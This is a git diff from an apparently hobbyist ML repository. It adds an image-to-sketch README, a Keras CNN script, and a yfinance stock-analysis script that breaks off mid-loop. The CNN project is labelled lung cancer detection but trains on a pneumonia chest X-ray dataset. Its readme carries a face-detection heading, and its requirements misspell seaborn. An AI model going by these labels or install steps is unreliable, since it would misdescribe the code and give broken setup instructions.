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\n" + }, + "metadata": {} + } + ] + } + ] +} \ No newline at end of file diff --git a/MachineLearning Projects/Image to Sketch/README.md b/MachineLearning Projects/Image to Sketch/README.md new file mode 100644 index 00000000..4104566c --- /dev/null +++ b/MachineLearning Projects/Image to Sketch/README.md @@ -0,0 +1,20 @@ +# Image to Pencil Sketch using python + +👉 The mission here is to convert the Image into pencil sketch. + +![dog](https://user-images.githubusercontent.com/82924828/191065579-f0f29b4f-dda3-44f1-985d-042e11086e49.jpg) + +👉 First, convert the RGB image into grayscale. + +![download](https://user-images.githubusercontent.com/82924828/191065626-8caf751d-5480-452a-81a5-78d6cd21ab5f.png) + +👉 Then convert the grayscale into negative imaging which is inverting the grayscale image. + +![dog_sketch](https://user-images.githubusercontent.com/82924828/191066033-04489ba7-1c13-4f0d-ae7c-60e82c12f2a7.jpg) + +👉 This can be done by dividing the grayscale image by the inverted blurry image. + + +![dog_sketch2](https://user-images.githubusercontent.com/82924828/191066150-a770a274-546a-47eb-ad4b-24fdcdd8fdfe.jpg) + +👉 These things can be done using cv2 library. diff --git a/MachineLearning Projects/Image to Sketch/dog.jpg b/MachineLearning Projects/Image to Sketch/dog.jpg new file mode 100644 index 00000000..78308ac8 Binary files /dev/null and b/MachineLearning Projects/Image to Sketch/dog.jpg differ diff --git a/MachineLearning Projects/Lung Cancer Detection using CNN/Lung Cancer Detection Using CNN b/MachineLearning Projects/Lung Cancer Detection using CNN/Lung Cancer Detection Using CNN new file mode 100644 index 00000000..4cefff8b --- /dev/null +++ b/MachineLearning Projects/Lung Cancer Detection using CNN/Lung Cancer Detection Using CNN @@ -0,0 +1,191 @@ +import matplotlib.pyplot as plt +import pandas as pd +import numpy as np +import seaborn as sns +import keras +from keras.models import Sequential +from keras.layers import Dense, Conv2D , MaxPool2D , Flatten , Dropout , BatchNormalization +from keras.preprocessing.image import ImageDataGenerator +from sklearn.model_selection import train_test_split +from sklearn.metrics import classification_report,confusion_matrix +from keras.callbacks import ReduceLROnPlateau +import cv2 +import os + +labels = ['PNEUMONIA', 'NORMAL'] +img_size = 150 +def get_training_data(data_dir): + data = [] + for label in labels: + path = os.path.join(data_dir, label) + class_num = labels.index(label) + for img in os.listdir(path): + try: + img_arr = cv2.imread(os.path.join(path, img), cv2.IMREAD_GRAYSCALE) + resized_arr = cv2.resize(img_arr, (img_size, img_size)) # Reshaping images to preferred size + data.append([resized_arr, class_num]) + except Exception as e: + print(e) + return np.array(data) + +train = get_training_data('/content/drive/MyDrive/chest-xray-pneumonia/chest_xray/train') +test = get_training_data('/content/drive/MyDrive/chest-xray-pneumonia/chest_xray/test') +val = get_training_data('/content/drive/MyDrive/chest-xray-pneumonia/chest_xray/val') + +l = [] +for i in train: + if(i[1] == 0): + l.append("Pneumonia") + else: + l.append("Normal") +sns.set_style('darkgrid') +sns.countplot(l) + +plt.figure(figsize = (5,5)) +plt.imshow(train[0][0], cmap='gray') +plt.title(labels[train[0][1]]) + +plt.figure(figsize = (5,5)) +plt.imshow(train[-1][0], cmap='gray') +plt.title(labels[train[-1][1]]) + +x_train = [] +y_train = [] + +x_val = [] +y_val = [] + +x_test = [] +y_test = [] + +for feature, label in train: + x_train.append(feature) + y_train.append(label) + +for feature, label in test: + x_test.append(feature) + y_test.append(label) + +for feature, label in val: + x_val.append(feature) + y_val.append(label) + +x_train = np.array(x_train) / 255 +x_val = np.array(x_val) / 255 +x_test = np.array(x_test) / 255 + +x_train = x_train.reshape(-1, img_size, img_size, 1) +y_train = np.array(y_train) + +x_val = x_val.reshape(-1, img_size, img_size, 1) +y_val = np.array(y_val) + +x_test = x_test.reshape(-1, img_size, img_size, 1) +y_test = np.array(y_test) + +datagen = ImageDataGenerator( + featurewise_center=False, + samplewise_center=False, + featurewise_std_normalization=False, + samplewise_std_normalization=False, + zca_whitening=False, + rotation_range = 30, + zoom_range = 0.2, + width_shift_range=0.1, + height_shift_range=0.1, + horizontal_flip = True, + vertical_flip=False) + + +datagen.fit(x_train) + +model = Sequential() +model.add(Conv2D(32 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu' , input_shape = (150,150,1))) +model.add(BatchNormalization()) +model.add(MaxPool2D((2,2) , strides = 2 , padding = 'same')) +model.add(Conv2D(64 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu')) +model.add(Dropout(0.1)) +model.add(BatchNormalization()) +model.add(MaxPool2D((2,2) , strides = 2 , padding = 'same')) +model.add(Conv2D(64 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu')) +model.add(BatchNormalization()) +model.add(MaxPool2D((2,2) , strides = 2 , padding = 'same')) +model.add(Conv2D(128 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu')) +model.add(Dropout(0.2)) +model.add(BatchNormalization()) +model.add(MaxPool2D((2,2) , strides = 2 , padding = 'same')) +model.add(Conv2D(256 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu')) +model.add(Dropout(0.2)) +model.add(BatchNormalization()) +model.add(MaxPool2D((2,2) , strides = 2 , padding = 'same')) +model.add(Flatten()) +model.add(Dense(units = 128 , activation = 'relu')) +model.add(Dropout(0.2)) +model.add(Dense(units = 1 , activation = 'sigmoid')) +model.compile(optimizer = "rmsprop" , loss = 'binary_crossentropy' , metrics = ['accuracy']) +model.summary() + +learning_rate_reduction = ReduceLROnPlateau(monitor='val_accuracy', patience = 2, verbose=1,factor=0.3, min_lr=0.000001) + +history = model.fit(datagen.flow(x_train,y_train, batch_size = 32) ,epochs = 12 , validation_data = datagen.flow(x_val, y_val) ,callbacks = [learning_rate_reduction]) + +print("Loss of the model is - " , model.evaluate(x_test,y_test)[0]) +print("Accuracy of the model is - " , model.evaluate(x_test,y_test)[1]*100 , "%") + +epochs = [i for i in range(12)] +fig , ax = plt.subplots(1,2) +train_acc = history.history['accuracy'] +train_loss = history.history['loss'] +val_acc = history.history['val_accuracy'] +val_loss = history.history['val_loss'] +fig.set_size_inches(20,10) + +ax[0].plot(epochs , train_acc , 'go-' , label = 'Training Accuracy') +ax[0].plot(epochs , val_acc , 'ro-' , label = 'Validation Accuracy') +ax[0].set_title('Training & Validation Accuracy') +ax[0].legend() +ax[0].set_xlabel("Epochs") +ax[0].set_ylabel("Accuracy") + +ax[1].plot(epochs , train_loss , 'g-o' , label = 'Training Loss') +ax[1].plot(epochs , val_loss , 'r-o' , label = 'Validation Loss') +ax[1].set_title('Testing Accuracy & Loss') +ax[1].legend() +ax[1].set_xlabel("Epochs") +ax[1].set_ylabel("Training & Validation Loss") +plt.show() + +predictions = model.predict(x_test) +predictions = predictions.reshape(1,-1)[0] +y_pred = np.where(predictions > 0.5,1,0) +predictions[:15] + +print(classification_report(y_test, y_pred, target_names = ['Pneumonia (Class 0)','Normal (Class 1)'])) + +cm = confusion_matrix(y_test,y_pred) +cm + +cm = pd.DataFrame(cm , index = ['0','1'] , columns = ['0','1']) + +correct = np.nonzero(predictions == y_test)[0] +incorrect = np.nonzero(predictions != y_test)[0] + +i = 0 +for c in correct[:6]: + plt.subplot(3,2,i+1) + plt.xticks([]) + plt.yticks([]) + plt.imshow(x_test[c].reshape(150,150), cmap="gray", interpolation='none') + plt.title("Predicted Class {},Actual Class {}".format(predictions[c], y_test[c])) + plt.tight_layout() + i += 1 + +i = 0 +for c in incorrect[:6]: + plt.subplot(3,2,i+1) + plt.xticks([]) + plt.yticks([]) + plt.imshow(x_test[c].reshape(150,150), cmap="gray", interpolation='none') + plt.title("Predicted Class {},Actual Class {}".format(predictions[c], y_test[c])) + plt.tight_layout() + i += 1 diff --git a/MachineLearning Projects/Lung Cancer Detection using CNN/output1.png b/MachineLearning Projects/Lung Cancer Detection using CNN/output1.png new file mode 100644 index 00000000..689ff6e9 Binary files /dev/null and b/MachineLearning Projects/Lung Cancer Detection using CNN/output1.png differ diff --git a/MachineLearning Projects/Lung Cancer Detection using CNN/output2.png b/MachineLearning Projects/Lung Cancer Detection using CNN/output2.png new file mode 100644 index 00000000..ca843cec Binary files /dev/null and b/MachineLearning Projects/Lung Cancer Detection using CNN/output2.png differ diff --git a/MachineLearning Projects/Lung Cancer Detection using CNN/readme.md b/MachineLearning Projects/Lung Cancer Detection using CNN/readme.md new file mode 100644 index 00000000..3c9a881d --- /dev/null +++ b/MachineLearning Projects/Lung Cancer Detection using CNN/readme.md @@ -0,0 +1,13 @@ +# Detecting face from photo or camera +___ +### Setup +`pip install -r requirements.txt` + +___ +### Usage +`python3 main.py` Detection of lung cancer using CNN + +___ +Here the data is taken from the kaggle.com + +Dataset Link:https://www.kaggle.com/code/tarunm561/lung-cancer-detection-using-cnn/input \ No newline at end of file diff --git a/MachineLearning Projects/Lung Cancer Detection using CNN/requirements.txt b/MachineLearning Projects/Lung Cancer Detection using CNN/requirements.txt new file mode 100644 index 00000000..94897dbc --- /dev/null +++ b/MachineLearning Projects/Lung Cancer Detection using CNN/requirements.txt @@ -0,0 +1,4 @@ +pandas +sea-born +keras +matplotlib \ No newline at end of file diff --git a/MachineLearning Projects/Stock-Analysis/Figure_1.png b/MachineLearning Projects/Stock-Analysis/Figure_1.png new file mode 100644 index 00000000..709b1368 Binary files /dev/null and b/MachineLearning Projects/Stock-Analysis/Figure_1.png differ diff --git a/MachineLearning Projects/Stock-Analysis/README.md b/MachineLearning Projects/Stock-Analysis/README.md new file mode 100644 index 00000000..d4dab3cf --- /dev/null +++ b/MachineLearning Projects/Stock-Analysis/README.md @@ -0,0 +1,21 @@ +StockAnalysis + +This program empowers users to analyze stock data and compare its price trends over various timeframes: today, yesterday, last month, and last year. The program offers the flexibility to input specific stock tickers or retrieve 'n' stocks based on the S&P index. +Usage + +The program provides insights into stock performance and visualizes trends. Users can input stock tickers or opt for automatic retrieval based on the S&P index. +Sample Output + +For instance, the program can analyze the performance of AAPL over the past day, month, and year, plotting the trends for visual understanding. + +![image](https://user-images.githubusercontent.com/16798480/225775468-f9332a85-8181-47eb-a48f-8d36f85e9d5a.png) + +Changes Made + +The program underwent significant enhancements: + +1. Input Validation: Implemented robust user input validation for seamless data retrieval. +2. Data Fetching Enhancement: Utilized the Yahoo Finance API to fetch accurate stock data. +3. Improved Data Plotting: Enhanced data plotting with titles and labels for clearer visualization. +4. Handling No Data: Addressed scenarios where no data is available for specific stocks, ensuring smoother execution. +5. Code Organization: Structured the code for better organization and readability. \ No newline at end of file diff --git a/MachineLearning Projects/Stock-Analysis/StockAnalysis.py b/MachineLearning Projects/Stock-Analysis/StockAnalysis.py new file mode 100644 index 00000000..05ddc3a8 --- /dev/null +++ b/MachineLearning Projects/Stock-Analysis/StockAnalysis.py @@ -0,0 +1,66 @@ +import yfinance as yf +import pandas as pd +from datetime import datetime, timedelta +import matplotlib.pyplot as plt + +# Function to get a list of tickers for analysis +def get_ticker_list(): + while True: + try: + option = int(input("You have 2 options:\n1. Analyze top stocks in S&P index\n2. Specific Stocks\nEnter option (1/2): ")) + + if option == 1: + stocknum = int(input("How many stocks do you want to analyze? Enter a number: ")) + toptickers = pd.read_html('https://en.wikipedia.org/wiki/List_of_S%26P_500_companies')[0] + return toptickers.head(stocknum).Symbol.to_list() + elif option == 2: + inputstr = input("Enter comma-separated ticker symbols of interested stocks: ") + return inputstr.upper().split(",") + else: + print("Please enter a valid option (1/2).") + except ValueError: + print("Please input a valid integer only.") + +# Function to get the time period for analysis +def get_time_period(): + try: + start_date = input("Enter the start date (YYYY-MM-DD): ") + end_date = input("Enter the end date (YYYY-MM-DD): ") + return start_date, end_date + except ValueError: + print("Invalid date format. Please use the format YYYY-MM-DD.") + +# Main function +def main(): + tickerlist = get_ticker_list() + + start_date, end_date = get_time_period() # Get time period for analysis + + data = pd.DataFrame() + + # Loop through each ticker to fetch data + for ticker in tickerlist: + try: 